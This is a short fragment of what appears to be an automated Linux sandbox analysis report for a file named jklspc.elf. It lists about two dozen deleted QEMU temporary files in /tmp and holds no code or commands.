/tmp/qemu-open.10e5lJ (deleted)

/tmp/qemu-open.13NmPI (deleted)

/tmp/qemu-open.19n4AK (deleted)

/tmp/qemu-open.1dDFLI (deleted)

/tmp/qemu-open.1fCIpL (deleted)

/tmp/qemu-open.21YUvJ (deleted)

/tmp/qemu-open.29AHpL (deleted)

/tmp/qemu-open.2QQLcL (deleted)

/tmp/qemu-open.2z1RVK (deleted)

/tmp/qemu-open.3FKSyJ (deleted)

/tmp/qemu-open.3OIGaJ (deleted)

/tmp/qemu-open.3S34bI (deleted)

/tmp/qemu-open.3z6WyJ (deleted)

/tmp/qemu-open.4IJHvJ (deleted)

/tmp/qemu-open.4qCqQK (deleted)

/tmp/qemu-open.5EaL0I (deleted)

/tmp/qemu-open.5bV4sL (deleted)

/tmp/qemu-open.5rdcoK (deleted)

/tmp/qemu-open.62tFqL (deleted)

/tmp/qemu-open.6JyNOJ (deleted)

/tmp/qemu-open.6PK8ZK (deleted)

/tmp/qemu-open.6cMuFH (deleted)

/tmp/qemu-open.6db5NI (deleted)

/tmp/qemu-open.6mzS2J (deleted)

/tmp/qemu-open.6nKwlJ (deleted)

Linux Analysis Report
jklspc.elf